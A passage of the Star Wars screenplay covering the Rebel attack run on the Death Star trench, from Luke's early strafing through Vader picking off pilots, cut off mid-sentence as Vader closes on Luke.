Star surface. Several small radar emplacements +erupt in flame. Laserfire erupts from a protruding tower on +the surface. + +INTERIOR: LUKE'S X-WING -- COCKPIT -- TRAVELING. + +The blurry Death Star surface races past the cockpit window as +a big smile sweeps across Luke's face at the success of his +run. Flak thunders on all sides of him. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +The Death Star superstructure races past Luke as he maneuvers +his craft through a wall of laserfire and peels away from the +surface towards the heavens. + +INTERIOR: DEATH STAR. + +The thunder and smoke of the big guns reverberate throughout +the massive structure. Many soldiers rush about in the smoke +and chaos, silhouetted by the almost continual flash of +explosions. + +INTERIOR: BIGGS' COCKPIT -- TRAVELING. + +Biggs dives through a forest of radar domes, antennae, and gun +towers as he shoots low across the Death Star surface. A dense +barrage of laserfire streaks by on all sides. + +INTERIOR: DEATH STAR. + +Imperial star pilots dash in unison to a line of small +auxiliary hatches that lead to Imperial TIE fighters. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Princess Leia, surrounded by her generals and aides, paces +nervously before a lighted computer table. On all sides +technicians work in front of many lighted glass walls. Dodonna +watches quietly from one corner. One of the officers working +over a screen speaks into his headset. + +CONTROL OFFICER: Squad leaders, we've picked up a new group of +signals. Enemy fighters coming your way. + +INTERIOR: LUKE'S X-WING -- COCKPIT -- TRAVELING. + +Luke looks around to see if he can spot the approaching +Imperial fighters. + +LUKE: My scope's negative. I don't see anything. + +INTERIOR: RED LEADER'S X-WING -- COCKPIT -- TRAVELING. + +The Death Star's surface sweeps past as Red Leader searches +the sky for the Imperial fighters. Flak pounds at his ship. + +RED LEADER: Keep up your visual scanning. With all this jamming, +they'll be on top of you before your scope can pick them up. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Silhouetted against the rim lights of the Death Star horizon, +four ferocious Imperial TIE ships dive on the Rebel fighters. +Two of the TIE fighters peel off and drop out of frame. Pan +with the remaining two TIE ships. + +INTERIOR: BIGGS' COCKPIT -- TRAVELING. + +Biggs panics when he discovers a TIE ship on his tail. The +horizon in the background twists around as he peels off, +hoping to lose the Imperial fighter. + +INTERIOR: RED LEADER'S COCKPIT. + +RED LEADER: Biggs! You've picked one up...watch it! + +BIGGS: I can't see it! Where is he?! + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Biggs zooms off the surface and into space, closely followed +by an Imperial TIE fighter. The TIE ship fires several +laserbolts at Biggs, but misses. + +INTERIOR: BIGGS' COCKPIT -- TRAVELING. + +Biggs see the TIE ship behind him and swings around, trying to +avoid him. + +BIGGS: He's on me tight, I can't shake him...I can't shake him. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Biggs, flying at high altitude, peels off and dives toward the +Death Star surface, but he is unable to lose the TIE fighter, +who sticks close to his tail. + +INTERIOR: X-WING FIGHTER -- COCKPIT -- TRAVELING. + +Luke is flying upside down. He rotates his ship around to +normal attitude as he comes out of his dive. + +LUKE: Hang on, Biggs, I'm coming in. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Biggs and the tailing TIE ship dive for the surface, now +followed by a fast-gaining Luke. After Biggs dives out of +sight, Luke chases the Imperial fighter. + +EXTERIOR: SURFACE AROUND THE DEATH STAR. + +In the foreground, the Imperial fighter races across the Death +Star's surface, closely followed by Luke in the background. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT -- TRAVELING. + +There is a shot from Luke's X-wing of the TIE ship exploding +in a mass of flames. + +LUKE: Got him! + +INTERIOR: DEATH STAR. + +Darth Vader strides purposefully down a Death Star corridor, +flanked by Imperial stormtroopers. + +VADER: Several fighters have broken off from the main group. Come with +me! + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +A concerned Princess Leia, Threepio, Dodonna, and other +officers of the Rebellion stand around the huge round readout +screen, listening to the ship-to-ship communication on the +room's loudspeaker. + +BIGGS: (over speaker) Pull in! Luke...pull in! + +WEDGE: (over speaker) Watch your back, Luke! + +INTERIOR LUKE'S X-WING FIGHTER -- COCKPIT. + +WEDGE: (over headset) Watch your back! Fighter's above you, coming in! + +EXTERIOR: SPACE. + +Luke's ship soars away from the Death Star's surface as he +spots the tailing TIE fighter. + +INTERIOR: TIE FIGHTER'S COCKPIT. + +The TIE pilot takes aim at Luke's X-wing. + +EXTERIOR: SPACE. + +The Imperial TIE fighter pilot scores a hit on Luke's ship. +Fire breaks out on the right side of the X-wing. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks out of his cockpit at the flames on his ship. + +LUKE: I'm hit, but not bad. + +EXTERIOR: LUKE'S X-WING FIGHTER. + +Smoke pours out from behind Artoo-Detoo. + +LUKE'S VOICE: Artoo, see what you can do with it. Hang on back there. + +Green laserfire moves past the beeping little robot as his +head turns. + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +Luke nervously works his controls. + +RED LEADER: (over headset) Red Six... + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +In the war room, Leia stands frozen as she listens and worries +about Luke. + +RED LEADER: (over speaker) Can you see Red Five? + +RED TEN: (over speaker) There's a heavy fire zone on this side. Red +Five, where are you? + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +Luke spots the TIE fighter behind him and soars away from the +Death Star surface. + +LUKE: I can't shake him! + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Luke's ship soars closer to the surface of the Death Star, an +Imperial TIE fighter closing in on him in hot pursuit. + +INTERIOR: WEDGE'S COCKPIT. + +The Death Star whips below Wedge. + +WEDGE: I'm on him, Luke! + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +WEDGE: (over headset) Hold on! + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Wedge dives across the horizon toward Luke and the TIE +fighter. + +INTERIOR: WEDGE'S COCKPIT. + +Wedge moves his X-wing in rapidly. + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +Luke reacts frantically. + +LUKE: Blast it! Wedge where are you? + +INTERIOR: TIE FIGHTER -- COCKPIT. + +The fighter pilot watches Wedge's X-wing approach. Another +X-wing joins him, and both unleash a volley of laserfire on +the Imperial fighter. + +EXTERIOR: SPACE. + +The TIE fighter explodes, filling the screen with white light. +Luke's ship can be seen far in the distance. + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +Luke looks about in relief. + +LUKE: Thanks, Wedge. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Leia, Threepio, Dodonna and other Rebel officers are listening +to the Rebel Fighter's radio transmissions over the war room +intercom. + +BIGGS: (over speaker) Good shooting, Wedge! + +GOLD LEADER: (over speaker) Red Leader... + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +Gold Leader peels off and starts toward the long trenches at +the Death Star surface pole. + +GOLD LEADER: This is Gold Leader. We're starting out attack run. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Three Y-wing fighters of the Gold group dive out of the stars +toward the Death Star surface. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Leia and the others are grouped around the screen, as +technicians move about attending to their duties. + +RED LEADER: (over speaker) I copy, Gold Leader. Move into position. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Three Imperial TIE ships in precise formation dive toward the +Death Star surface. + +INTERIOR: DARTH VADER'S COCKPIT. + +Darth Vader calmly adjusts his control stick as the stars whip +past in the window above his head. + +VADER: Stay in attack formation! + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Technicians are seated at the computer readout table. + +GOLD LEADER: (over speaker) The exhaust post is... + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +GOLD LEADER: ...marked and locked in! + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Gold Leader approaches the surface and pulls out to skim the +surface of the huge station. The ship moves into a deep +trench, firing laserbolts. The surface streaks past as +laserfire is returned by the Death Star. + +INTERIOR: GOLD FIVE'S Y-WING -- COCKPIT -- TRAVELING. + +Gold Five is a pilot in his early fifties with a very battered +helmet that looks like it's been through many battles. He +looks around to see if enemy ships are near. His fighter is +buffeted by Imperial flak. + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +Gold Leader races down the enormous trench that leads to the +exhaust port. Laserbolts blast toward him in increasing +numbers, occasionally exploding near the ship causing it to +bounce about. + +GOLD LEADER: Switch power to front deflector screens. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Three Y-wing skim the Death Star surface deep in the trench, +as laserbolts streak past on all sides. + +EXTERIOR: DEATH STAR SURFACE -- GUN EMPLACEMENTS. + +An exterior surface gun blazes away at the oncoming Rebel +fighters. + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +GOLD LEADER: How many guns do you think, Gold Five. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +GOLD FIVE: (over speaker) I'd say about twenty guns. Some on the +surface, some on the towers. + +Leia, Threepio, and the technicians view the projected +target screen, as red and blue target lights glow. The red +target near the center blinks on and off. + +MASSASSI INTERCOM VOICE: (over speaker) Death Star will be in range in +five minutes. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +The three Y-wing fighters race toward camera and zoom +overhead through a hail of laserfire. + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +Gold Leader pulls his computer targeting device down in +front of his eye. Laserbolts continue to batter the Rebel +craft. + +GOLD LEADER: Switching to targeting computer. + +INTERIOR: GOLD TWO'S Y-WING -- COCKPIT. + +Gold Two, a younger pilot about Luke's age, pulls down his +targeting eye viewer and adjusts it. His ship shudders under +intense laser barrage. + +GOLD TWO: Computer's locked. Getting a signal. + +As the fighters begin to approach the target area, suddenly +all the laserfire stops. An eerie clam clings over the trench +as the surface whips past in a blur. + +GOLD TWO: The guns...they've stopped! + +EXTERIOR: GOLD FIVE'S COCKPIT. + +Gold Five looks behind him. + +GOLD FIVE: Stabilize your read deflectors. Watch for enemy fighters. + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +GOLD LEADER: They've coming in! Three marks at two ten. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Three Imperial TIE ships, Darth Vader in the center flanked by +two wingmen, dive in precise formation almost vertically +toward the Death Star surface. + +INTERIOR: DARTH VADER'S COCKPIT. + +Darth Vader calmly adjusts his control stick as the stars zoom +by. + +VADER: I'll take them myself! Cover me! + +WINGMAN'S VOICE: (over speaker) Yes, sir. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Three TIE fighters zoom across the surface of the Death Star. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader lines up Gold Two in his targeting computer. Vader's +hands grip the control stick as he presses the button. + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT + +The cockpit explodes around Gold Two. His head falls forward. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +As Gold Two's ship explodes, debris is flung out into space. + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +Gold Leader looks over his shoulder at the scene. + +EXTERIOR: DEATH STAR TRENCH. + +The three TIE fighters race along in the trench in a tight +formation. + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +Gold Leader panics. + +GOLD LEADER: (into mike) I can't maneuver! + +INTERIOR: GOLD FIVE'S Y-WING -- COCKPIT. + +Gold Five, the old veteran, trys to calm Gold Leader. + +GOLD FIVE: Stay on target. + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +The Death Star races by outside the cockpit window as he +adjusts his targeting device. + +GOLD LEADER: We're too close. + +INTERIOR: GOLD FIVE'S Y-WING -- COCKPIT. + +The older pilot remains calm. + +GOLD FIVE: Stay on target! + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +Now he's really panicked. + +GOLD LEADER: Loosen up! + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader calmly adjusts his targeting computer and pushes the +fire button. + +INTERIOR: GOLD LEADER'S Y-WING -- COCKPIT. + +Gold Leader's ship is hit by Vader's laser. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Gold Leader explodes in a ball of flames, throwing debris in +all directions. + +INTERIOR: GOLD FIVE'S Y-WING -- COCKPIT. + +Gold Five moves in on the exhaust port. + +GOLD FIVE: Gold Five to Red Leader... + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks over his shoulder at the action outside of his +cockpit. + +GOLD FIVE: (over headset) Lost Tiree, lost Dutch. + +INTERIOR: RED LEADER'S COCKPIT. + +RED LEADER: I copy, Gold Five. + +INTERIOR: GOLD FIVE'S Y-WING -- COCKPIT. + +GOLD FIVE: They came from behind.... + +EXTERIOR: SURFACE OF THE DEATH STAR. + +One of the engines explodes on Gold Five's Y-wing fighter, +blazing out of control. He dives past the horizon toward the +Death Star's surface, passing a TIE fighter during his +descent. Gold Five, a veteran of countless campaigns, spins +toward his death. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks nervously about him at the explosive battle. + +INTERIOR: DEATH STAR -- CONTROL ROOM. + +Grant Moff Tarkin and a Chief Officer stand in the Death +Star's control room. + +OFFICER: We've analyzed their attack, sir, and there is a danger. +Should I have your ship standing by? + +TARKIN: Evacuate? In out moment of triumph? I think you overestimate +their chances! + +Tarkin turns to the computer readout screen. Flames move +around the green disk at the center of the screen, as numbers +read across the bottom. + +VOICE: (over speaker) Rebel base, three minutes and closing. + +INTERIOR: READ LEADER'S COCKPIT. + +Red Leader looks over at his wingmen. + +RED LEADER: Red Group, this is Red Leader. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Dodonna moves to the intercom as he fiddles with the computer +keys. + +RED LEADER: (over speaker) Rendezvous at mark six point one. + +WEDGE: (over speaker) This is Red Two. Flying toward you. + +BIGGS: (over speaker) Red Three, standing by. + +INTERIOR: RED LEADER'S COCKPIT: + +DODONNA: (over headset) Red Leader, this is Base One. Keep half your +group out of range for the next run. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +RED LEADER'S VOICE: (over headset) Copy, Base One. Luke, take Red Two +and Three. Hold up here and wait for my signal...to start your run. + +Luke nods his head. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +The X-wing fighters of Luke, Biggs, and Wedge fly in formation +high above the Death Star's surface. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke peers out from his cockpit. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Two X-wings move across the surface of the Death Star. Red +Leader's X-wing drops down to the surface leading to the +exhaust port. + +INTERIOR: RED LEADER'S COCKPIT. + +Red Leader looks around to watch for the TIE fighters. He +begins to perspire. + +RED LEADER: This is it! + +EXTERIOR: SPACE. + +Red Leader roams down the trench of the Death Star as lasers +streak across the black heavens. + +EXTERIOR: DEATH STAR SURFACE -- GUN EMPLACEMENTS. + +A huge remote-control laser cannon fires at the approaching +Rebel fighters. + +EXTERIOR: DEATH STAR TRENCH. + +The Rebel fighters evade the Imperial laser blasts. + +INTERIOR: RED TEN'S COCKPIT. + +Red Ten looks around for the Imperial fighters. + +RED TEN: We should be able to see it by now. + +EXTERIOR: DEATH STAR TRENCH. + +From the cockpits of the Rebel pilots, the surface of the +Death Star streaks by, with Imperial laserfire shooting toward +them. + +INTERIOR: RED LEADER'S COCKPIT. + +RED LEADER: Keep your eyes open for those fighters! + +INTERIOR: RED TEN'S COCKPIT. + +RED TEN: There's too much interference! + +EXTERIOR: SPACE -- DEATH STAR TRENCH. + +Three X-wing fighters move in formation down the Death Star +trench. + +RED TEN'S VOICE: Red Five, can you see them from where you are? + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks down at the Death Star surface below. + +LUKE: No sign of any...wait! + +INTERIOR: RED TEN'S COCKPIT. + +Red Ten looks up and sees the Imperial fighters. + +LUKE: (over headset) Coming in point three five. + +RED TEN: I see them. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Three TIE fighters, Vader flanked by two wingmen, dive in a +tight formation. The sun reflects off their dominate solar +fins as they loop toward the Death Star's surface. + +INTERIOR: RED LEADER'S COCKPIT. + +Red Leader pulls his targeting device in front of his eyes and +makes several adjustments. + +RED LEADER: I'm in range. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Red Leader's X-wing moves up the Death Star trench. + +INTERIOR: RED LEADER'S COCKPIT. + +RED LEADER: Target's coming up! + +Red Leader looks at his computer target readout screen. He +then looks into his targeting device. + +RED LEADER: Just hold them off for a few seconds. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader adjusts his control lever and dives on the X-wing +fighters. + +VADER: Close up formation. + +EXTERIOR: DEATH STAR TRENCH. + +The three TIE fighters move in formation across the Death Star +surface. + +INTERIOR: RED LEADER'S COCKPIT. + +Red Leader lines up his target on the targeting device +cross hairs. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Vader and his wingmen zoom down the trench. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader rapidly approaches the two X-wings of Red Ten and Red +Twelve. Vader's laser cannon flashes below the view of the +front porthole. the X-wings show in the center of Vader's +computer screen. + +EXTERIOR: SPACE. + +Red Twelve's X-wing fighter is hit by Vader's laserfire, and +it explodes into flames against the trench. + +INTERIOR: RED TEN'S COCKPIT. + +Red Ten works at his controls furiously, trying to avoid +Vader's fighter behind him. + +RED TEN: You'd better let her loose. + +INTERIOR: RED LEADER'S COCKPIT. + +Red Leader is concentrating on his targeting device. + +RED LEADER: Almost there! + +INTERIOR: RED TEN'S COCKPIT. + +Red Ten panics. + +RED TEN: I can't hold them! + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Vader and his wingmen whip through the trench in pursuit of +the Rebel fighters. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader cooly pushes the fire button on his control stick. + +INTERIOR: RED TEN'S COCKPIT. + +Darth Vader's well-aimed laserfire proves to be unavoidable, +and strikes Red Ten's ship. Red Ten screams in anguish and +pain. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Red Ten's ship explodes and bursts into flames. + +INTERIOR: RED LEADER'S COCKPIT. + +Grimly, Red Leader takes careful aim and watches his computer +targeting device, which shows the target lined up in the cross +hairs, and fires. + +INTERIOR: RED LEADER'S COCKPIT. + +RED LEADER: It's away! + +INTERIOR: DEATH STAR. + +An armed Imperial stormtrooper is knocked to the floor from +the attack explosion. Other troopers scurrying about the +corridors are knocked against the wall and lose their balance. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Leia and the others stare at the computer screen. + +RED NINE'S VOICE: (over speaker) It's a hit! + +RED LEADER: (over speaker) Negative. + +INTERIOR: RED LEADER'S COCKPIT. + +Red Leader looks back at the receding Death Star. Tiny +explosions are visible in the distance. + +RED LEADER: Negative! It didn't go in. It just impacted on the +surface. + +EXTERIOR: SPACE AROUND THE DEATH STAR -- TIE FIGHTER. + +Darth Vader peels off in pursuit as Red Leader's X-wing passes +the Death Star horizon. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader swings his ship around for the next kill. + +INTERIOR: RED LEADER'S COCKPIT. + +LUKE: (over headset) Red Leader, we're right above you. Turn to +point... + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke tries to spot Red Leader. He looks down at the Death Star +surface. + +LUKE: ...oh-five; we'll cover for you. + +RED LEADER: (over headset) Stay there... + +INTERIOR: RED LEADER'S COCKPIT. + +A wary Red Leader looks about nervously. + +RED LEADER: ...I just lost my starboard engine. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks excitedly toward Red Leader's X-wing. + +RED LEADER: (over headset) Get set to make your attack run. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader's gloved hands make contact with the control sticks, and +he presses their firing buttons. + +INTERIOR: RED LEADER'S COCKPIT. + +Red Leader fights to gain control of his ship. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Laserbolts are flung from Vader's TIE fighter, connecting with +Red Leader's Rebel X-wing fighter. Red Leader buys it, +creating a tremendous explosion far below. He screams and is +destroyed. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks out the window of his X-wing at the explosion far +below. For the first time, he feels the helplessness of his +situation. + +INTERIOR: DEATH STAR. + +Grand Moff Tarkin casts a sinister eye at the computer screen. + +DEATH STAR INTERCOM VOICE: Rebel base, one minute and closing. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Dodonna and Princess Leia, with Threepio beside them, listen +intently to the talk between the pilots. The room is grim +after Red Leader's death. Princess Leia nervously paces the +room. + +LUKE: (over speaker) Biggs, Wedge, let's close it up. We're going in. +We're going in full throttle. + +INTERIOR: WEDGE'S COCKPIT. + +The horizon twists as Wedge begins to pull out. + +WEDGE: Right with you, boss. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +The two X-wings peel off against a background of stars and +dive toward the Death Star. + +INTERIOR: BIGGS' COCKPIT. + +BIGGS: Luke, at that speed will you be able to pull out in time? + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +LUKE: It'll be just like Beggar's Canyon back home. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +The three X-wings move in, unleashing a barrage of laserfire. +Laserbolts are returned from the Death Star. + +INTERIOR: BIGGS' COCKPIT. + +Luke's lifelong friend struggles with his controls. + +BIGGS: We'll stay back far enough to cover you. + +INTERIOR: LUKE'S COCKPIT. + +Flak and laserbolts flash outside Luke's cockpit window. + +WEDGE: (over headset) My scope shows the tower, but I can't see the +exhaust port! Are you sure the computer can hit it? + +EXTERIOR: DEATH STAR -- GUN EMPLACEMENTS. + +The Death Star laser cannon slowly rotates as it shoots +laserbolts. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks around for the Imperial TIE fighters. He thinks for +a moment and then moves his targeting device into position. + +LUKE: Watch yourself! Increase speed full throttle! + +INTERIOR: WEDGE'S COCKPIT. + +Wedge looks excitedly about for any sign of the TIE fighters. + +WEDGE: What about the tower? + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +LUKE: You worry about those fighters! I'll worry about the tower! + +EXTERIOR: DEATH STAR SURFACE. + +Luke's X-wing streaks through the trench, firing lasers. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke breaks into a nervous sweat as the laserfire is returned, +knicking one of his wings close to the engine. + +LUKE: (to Artoo) Artoo...that, that stabilizer's broken loose again! +See if you can't lock it down! + +EXTERIOR: LUKE'S X-WING FIGHTER. + +Artoo works to repair the damages. The canyon wall rushes by +in the background, making his delicate task seem even more +precarious. + +EXTERIOR: DEATH STAR. + +Two laser cannons are firing on the Rebel fighters. + +INTERIOR: WEDGE'S COCKPIT. + +Wedge looks up and sees the TIE ships. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke's targeting device marks off the distance to the target. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Vader and his wingmen zoom closer. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader adjusts his controls and fires laserbolts at two X-wings +flying down the trench. He scores a direct hit on Wedge. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Leia and the others are grouped around the computer board. + +WEDGE: (over speaker) I'm hit! I can't stay with you. + +LUKE: (over speaker) Get clear, Wedge. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +LUKE: You can't do any more good back there! + +INTERIOR: WEDGE'S COCKPIT. + +WEDGE: Sorry! + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Wedge pulls his crippled X-wing back away from the battle. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader watches the escape but issues a command to his wingmen. + +VADER: Let him go! Stay on the leader! + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Luke's X-wing speeds down the trench; the three TIE fighters, +still in perfect unbroken formation, tail close behind. + +INTERIOR: BIGGS' COCKPIT. + +Biggs looks around at the TIE fighters. He is worried. + +BIGGS: Hurry, Luke, they're coming in much faster this time. I can't +hold them! + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +The three TIE fighters move ever closer, closing in on Luke +and Biggs. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks back anxiously at little Artoo. + +LUKE: Artoo, try and increase the power! + +EXTERIOR: LUKE'S X-WING FIGHTER. + +Ignoring the bumpy ride, flak, and lasers, a beeping +Artoo-Detoo struggles to increase the power, his dome turning +from side to side. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Stealthily, the TIE formation creeps closer. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader adjusts his control stick. + +INTERIOR: BIGGS' COCKPIT. + +Biggs looks around at the TIE fighters. + +INTERIOR: LUKE'S X-WING FIGHTER. + +Luke looks into his targeting device. He moves it away for a +moment and ponders its use. He looks back into the computer +targeter. + +BIGGS: (over headset) Hurry up, Luke! + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Vader and his wingmen race through the Death Star trench. +Biggs moves in to cover for Luke, but Vader gains on him. + +INTERIOR: BIGGS' COCKPIT. + +Biggs sees the TIE fighter aiming at him. + +BIGGS: Wait! + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader squeezes the fire button on his controls. + +INTERIOR: BIGGS' COCKPIT. + +Biggs' cockpit explodes around him, lighting him in red. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Biggs' ship bursts into a million flaming bits and scatters +across the surface. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Leia and the others stare at the computer board. + +INTERIOR: LUKE'S X-WING COCKPIT. + +Luke is stunned by Biggs' death. His eyes are watering, but +his anger is also growing. + +INTERIOR: DEATH STAR -- CONTROL ROOM. + +Grand Moff Tarkin watches the projected target screen with +satisfaction. + +DEATH STAR INTERCOM VOICE: Rebel base, thirty seconds and closing. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader takes aim on Luke and talks to the wingmen. + +VADER: I'm on the leader. + +EXTERIOR: SURFACE OF THE DEATH STAR -- LUKE'S SHIP. + +Luke's ship streaks through the trench of the Death Star. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Princess Leia returns her general's worried and doubtful +glances with solid, grim determination. Threepio seems nervous. + +THREEPIO: Hang on, Artoo! + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +Luke concentrates on his targeting device. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Three TIE fighters charge away down the trench toward Luke. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader's finger's curls around the control stick. + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +Luke adjusts the lens of his targeting device. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Luke's ship charges down the trench. + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +Luke lines up the yellow cross-hair lines of the targeting +device's screen. He looks into the targeting device, then +starts at a voice he hears. + +BEN'S VOICE: Use the Force, Luke. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +The Death Star trench zooms by. + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +Luke looks up, then starts to look back into the targeting +device. He has second thoughts. + +BEN'S VOICE: Let go, Luke. + +A grim determination sweeps across Luke's face as he closes +his eyes and starts to mumble Ben's training to himself. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Luke's fighter streaks through the trench. + +INTERIOR: DARTH VADER'S COCKPIT. + +VADER: The Force is strong with this one! + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Vader follows Luke's X-wing down the trench. + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +Luke looks to the targeting device, then away as he hears +Ben's voice. + +BEN'S VOICE: Luke, trust me. + +Luke's hand reaches for the control panel and presses the +button. The targeting device moves away. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Leia and the others stand watching the projected screen. + +BASE VOICE: (over speaker) His computer's off. Luke, you switched off +your targeting computer. What's wrong? + +LUKE: (over speaker) Nothing. I'm all right. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Luke's ship streaks ever close to the exhaust port. + +INTERIOR: LUKE'S X-WING -- COCKPIT. + +Luke looks at the Death Star surface streaking by. + +EXTERIOR: LUKE'S X-WING FIGHTER. + +Artoo-Detoo turns his head from side to side, beeping in +anticipation. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +The three TIE fighters, manned by Vader and his two wingmen, +follow Luke's X-wing down the trench. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader maneuvers his controls as he looks at his doomed target. +He presses the fire buttons on his control sticks. Laserfire +shoots toward Luke's X-wing fighter. + +EXTERIOR: LUKE'S X-WING FIGHTER. + +A large burst of Vader's laserfire engulfs Artoo. The arms go +limp on the smoking little droid as he makes a high-pitched +sound. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks frantically back over his shoulder at Artoo. + +EXTERIOR: LUKE'S X-WING FIGHTER. + +Smoke billows out around little Artoo and sparks begin to fly. + +LUKE: I've lost Artoo! + +Artoo's beeping sounds die out. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Leia and the others stare intently at the projected screen, +while Threepio watches the Princess. Lights representing the +Death Star and targets glow brightly. + +MASSASSI INTERCOM VOICE: The Death Star has cleared the planet. The +Death Star has cleared the planet. + +INTERIOR: DEATH STAR -- CONTROL ROOM. + +Tarkin glares at the projected target screen. + +DEATH STAR INTERCOM VOICE: Rebel base, in range. + +TARKIN: You may fire when ready. + +DEATH STAR INTERCOM VOICE: Commence primary ignition. + +An officer reaches up and pushes buttons on the control +panel, as green lighted buttons turn to red. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +The three TIE fighters zoom down the Death Star trench in +pursuit of Luke, never breaking formation. + +INTERIOR: LUKE'S COCKPIT. + +Luke looks anxiously at the exhaust port. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader adjusts his control sticks, checking his projected +targeting screen. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Luke's ship barrels down the trench. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader's 